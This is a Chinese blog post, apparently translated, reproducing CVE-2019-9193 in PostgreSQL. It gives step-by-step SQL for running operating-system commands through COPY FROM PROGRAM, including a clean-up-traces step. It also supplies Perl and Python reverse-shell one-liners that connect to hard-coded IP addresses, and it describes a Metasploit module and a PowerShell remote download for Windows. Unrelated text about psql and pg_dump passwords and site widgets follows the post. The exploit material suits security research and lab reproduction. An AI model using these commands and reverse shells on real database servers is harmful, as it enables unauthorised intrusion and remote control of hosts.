漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)

1.jpeg

PostgreSQL是当下最流行的数据库系统之一,它是 Mac OSX系统下最常用的数据库,但同时也提供了Windows及Linux操作系统版本。(Kali下Metasploit用的就是PostgreSQL数据库)

今天,我将要给大家介绍一个鲜为人知的PostgreSQL特性,这个特性允许数据库的特定用户在PostgreSQL环境中执行任意代码并且在PostgreSQL 9.3至最新版本(11.2)中这个特性是默认开启的。它将会影响所有安装了PostgreSQL的Windows,Linux以及Mac操作系统。

2.png

从9.3 版本开始,PostgreSQL实现了“COPY TO/FROM PROGRAM”这个新的功能,它允许数据库的超级用户以及“pg_read_server_files”组用户执行任意的操作系统命令。这意味着在数据库超级用户角色与运行此数据库的操作系统用户角色之间没有进行适当的权限的分离。

这是一种深度防御意识的的匮乏,早在2000年初,我们就在Microsoft SQL Server上见到过这种情况。当时Microsoft SQL Server默认开启xp_cmdshell这个函数,不过在Microsoft SQL Server 2005版本中这个函数被默认禁止。但是如此相似的漏洞重复出现看上是一件非常有趣的事,就像一个跳不出的魔咒。

3.png

由于这个漏洞介于权限提升和任意代码执行之间,它需要一些前提权限,这些权限可以是通过认证正常的登录PostgreSQL也可以是通过SQL注入获得与PostgreSQL交互的途径。需要再一次说明的是,上述两种情形下都需要用户是一个超级用户或者是“pg_read_server_files”组用户。

通过如下步骤可以使用这个漏洞进行攻击

  1. [可选]删除你想用来保存命令输出但是可能存在的表

    DROP TABLE IF EXISTS cmd_exec
    
    
  2. 创建你用来保存命令输出的表

    CREATE TABLE cmd_exec(cmd_output text);
    
    
  3. 通过 “COPY FROM PROGRAM”执行系统命令

    COPY cmd_exec FROM PROGRAM 'id'
    
    
  4. [可选]查看执行结果

    SELECT * FROM cmd_exec
    
    
  5. [可选]清除痕迹

    DROP TABLE IF EXISTS cmd_exec;
    
    

4.png

需要说明的时,命令中的任何单引号都必须通过双引号来转义它们,比如你想执行下面命令:

echo 'hello';

你需要把上述命令用单引号包围并将命令中包含的单引号用双引号替换:

'echo "hello";'

我已经在所有的主流的操作系统上做过测试,如果你通过此漏洞来反弹shell你将会获得下面权限:

系统用户角色权限等级
WindowsNT AUTHORITY/NETWORK SERVICE低权限
Linuxpostgres低权限
Mac安装postgres的用户(通常是admin)高权限

在Linux及Mac OSX操作系统中通常可以通过一行简单的perl命令来反弹shell,比如:

COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"192.168.0.104:80\");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';

当然Python版本也可以(译者补充:>)

COPY files FROM PROGRAM 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.31.41\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"'

原文作者已经编写了一个Metsploit的利用模块在不久之后将会出现在Metsploit框架中)来简化这个漏洞的利用,在此之前Metasploit关于postgres的payload模块大多是关于postgres 8版本的。我编写的利用模块(postgres_copy_from_program_cmd_exec.rb)能够自动完成所有上述提到的操作,前提是你要提供给它有效的数据库验证信息以及适当的权限。但是对于在通过SQL注入利用这个漏洞的情况下你还是手动完成的好。下面是在Linux Ubuntu 18.04操作系统上的PostgreSQL 11.2版本环境中进行的漏洞利用:

5.png

6.png

对于Windwos来说,NETWORK SERVICE这个用户角色好像并没任何的写权限,不过也不要放弃,通过Powershell的远程下载你还是有可能获得反向Shell,我们把postgres_copy_from_program_cmd_exec.rb模块的COMMAND变量设置为Powershell命令,需要注意的是命令中的单引号需要使用反斜杠转义,下面是在Windows 10操作系统上PostgreSQL 10.7版本的环境中进行的漏洞利用:

7.png8.png9.png

希望这项新技术能够为你所用。

译者注:漏洞复现环境已经在vulhub上线。参考来源:medium

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PostgreSQL是一种开源的关系型数据库,它提供了多种管理工具来操作数据库,其中包括psql和pg_dump命令。 psql是一种命令行工具,可以用来与PostgreSQL数据库进行交互。它不仅能够执行SQL语句,还可以支持交互式命令。在使用psql命令时,有时需要在命令中包含密码信息。可以使用以下的方式来在命令行中带密码执行SQL语句: 1. 在命令行中输入psql命令,启动psql工具。 2. 输入连接数据库的命令,例如:psql -U username -d dbname -h hostname -p port。 3. 输入密码,此时必须在命令行中输入密码。 4. 执行SQL语句,例如:SELECT * FROM tablename; pg_dump是PostgreSQL数据库备份工具,可以用来将数据库中的数据导出到一个文件中。使用pg_dump命令时,也需要在命令行中包含密码信息。可以使用以下的方式在命令行中带密码执行pg_dump命令: 1. 在命令行中输入pg_dump命令,启动pg_dump工具。 2. 输入数据库连接信息和密码,例如:pg_dump -U username -d dbname -h hostname -p port -W。 3. 执行备份操作,例如:pg_dump -U username -d dbname -h hostname -p port -W > backup.sql。 总的来说,在使用psql和pg_dump命令时,为了在命令中包含密码信息,需要使用“-W”参数将密码输入到命令行中。当然,这种方式存在一定的安全隐患,因为密码可以被其他人看到。因此,最好使用其他方式来进行密码管理,例如使用配置文件、环境变量或者其他安全的方式。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值